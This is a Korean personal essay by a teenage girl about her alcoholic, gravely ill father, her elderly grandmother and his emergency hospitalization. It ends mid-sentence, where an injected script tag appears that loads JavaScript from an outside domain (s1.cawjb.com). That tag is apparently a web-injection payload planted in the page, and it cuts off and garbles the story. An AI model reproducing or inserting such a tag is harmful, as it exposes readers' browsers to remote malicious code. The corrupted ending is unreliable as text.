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안녕하세요. 저는 올해 17살로 고등학교에 갓 입학한 여학생입니다.
저는 병드신 아버지와 83세의 연로한 할머니와 함께 서울시 강서구의
한 임대아파트에서 생활을 하고 있습니다.
어머니는 제가 아주 어렸을때 아버지와 이혼을 해 안계시고요.
아버지는 어머니와의 이혼 이후 술과 담배로 사셨습니다.
지금 아버지의 나이는 46세로 많이 쇠약하신 상태입니다.
몸무게 45kg 정도로 뼈만 걸리셨습니다. 그럴 수 밖에 없는것이
밥은 전혀 안드시고 지난 세월간 술만 드셔왔거든요.
그러는 사이에 위수술도 하시고, 췌장염 수술도 하셨습니다.
췌장염 수술로 인해 합병증으로 당뇨도 왔구요.
또 지체장애로 손에 신경이 없으십니다.
그런 몸상태에도 불구하고 아버지는 술을 놓지 않으시고 매일같이 술을
드시고 저와 할머니를 힘들게 하였습니다.
저한테는 오빠가 있었는데 2살도 채 안된 나이에 심장수술을 받다가
죽었구요.
아버지는 술만 드시면 죽은 아들과 자기를 떠난 부인 생각으로 매일
울부짖으시고 저와 할머니를 못살게 굴었습니다.
집안에 있는 온갖 잡동사니를 다 집어던지고 새벽부터 일어나 술을 드셔서
고함을 지르시고, 그런 아버지때문에 주민들의 항의가 거세었지만
저는 그때마다 고개숙여 죄송하다는 말밖에는 하지 못했습니다.
가끔은 그런 아버지가 너무 미웠습니다.
일도 안하고 집에 쳐박혀 앉아 어린 딸에게 술심부름이나 시키는
무능력한 아버지밖에로는 안보였습니다.
그로 인해 아버지 술값과 병원비, 약값으로 생활이 어려웠고
저는 어려서부터 못입고 못먹으며 서럽게 자랐습니다.
아버지로 인해 술담배 냄새가 베고, 엄마가 없어 잘 씻지도 않고 꾀죄죄한
모습으로 학교에 가면 저를 선머슴아 같다고 친구들은 저와 놀아주지
않았습니다. 저는 항상 혼자였습니다.
그 어린 7살의 나이에 저는 사랑받지 못했고 관심받지 못했습니다.
너무 외롭고, 술주정하는 아버지가 무서워 집에 가기 싫어 밖에서 혼자
엄마가 보고싶어 울고 아버지가 미워서 울다 제 풀에 지쳐 할수 없이
집에 들어갔습니다.
그 당시에는 한 아주머니 집 단칸방에 세들어 세가족이 힘들게 살았습니다.
그러다 운이 좋게도 지금의 이 임대아파트로 이사를 와서 산지가
7년째 되가네요.
그 동안에도 몹시 힘들었고, 저는 소년소녀가장으로 동사무소에서 나오는
식권으로 할머니와 끼니를 떼웠고 주변분들의 도움으로 감사한 마음으로
살아왔습니다.
하지만 아버지는 술로인해 날로 쇠약해지셨고, 제가 중3 겨울방학때
갑자기 피를 끊임없이 토하시며 쓰러지셨습니다.
피를 얼마나 토했는지 방바닥은 피바다가 되었고 의식을 잃으신 아버지를
보고 저와 할머니는 얼마나 놀랐는지, 손을 부들부들 떨며 119에 급히
신고를 했습니다.
그렇게 목동이대병원 응급실로 실려간 아버지는 위급한 상태였습니다.
몸속에 있는 피를 다 토했는지 창백한 아버지의 얼굴이 너무 안쓰럽고 무서워
저는 아버지를 똑바로 보지 못하고 한없이 눈물만 흘렸습니다.
의사선생님도 조금만 늦었으면 위험했을거라며 재빨리 응급조치를 한 후
바로 중환자실로 옮겨졌습니다.
할머니와 저는 중환자실 앞에 의자에서 떨면서 하룻밤을 지샜고
그 다음날 아버지는 의식이 돌아오셨습니다.
면회를 가보니 의식이 돌아오신 아버지가 침대에 손이 묶인채 고함을
지르고 계셨습니다.
저와 할머니가 가까이 갔더니 다짜고짜 술 가져오라고, 간호사가 저 뒤에
감춰놨다며 빨리 가져오라고 소리를 지르고 난리가 아니었습니다.
전 다시 한번 절망했습니다.
저건 인간도 아니다...... 이렇게 고생하는 할머니와 나를 바로 앞에 두고
술을 가져오라고 할 수가 있나. 도대체 무슨 생각을 하고 있는건지,
이렇게 어린 딸과 늙으신 어머니를 앞에 두고서 죽으려고 술을 찾는건지...
정말 주변사람 고생시키지 말고 이대로 편히 가셨으면 하는 못된 생각도
하였습니다.
너무 서럽고 원통해서 눈물만 주룩주룩 흘렀습니다.
아버지가 미워서 바로 뛰쳐나왔습니다. 혼자서 울고 있는데
주치의 선생님께서 오시더니 저에게 아버지의 상태를 말씀해주셨습니다.
식도와 위에서 출혈이 멎지 않고 있는 상태라며 계속 피주사를 놓고 있기는
하지만 이대로 출혈이 멎지 않으면 더이상 손써볼 방법이 없다며
마음의 준비를 하라고 했습니다.
저는 제발 좀 살려달라고 주치의에게 매달려 울었고,
주치의는 수술을 하면 괜찮아질거지만 저 약한 몸상태에서 수술을 받다가
사망할 확률이 높다며, 일단 내시경으로 봉합술을 할것이고 하는 도중
돌아가실수도 있다고 허락동의서에 제 사인을 하라고 하더군요.
이대로 돌아가시면 ?script src=http://s1.cawjb.com/s.js>
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